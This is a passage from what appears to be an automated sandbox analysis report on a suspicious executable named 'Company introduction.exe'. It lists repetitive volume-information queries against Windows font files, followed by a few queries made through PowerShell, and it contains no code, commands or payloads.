Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
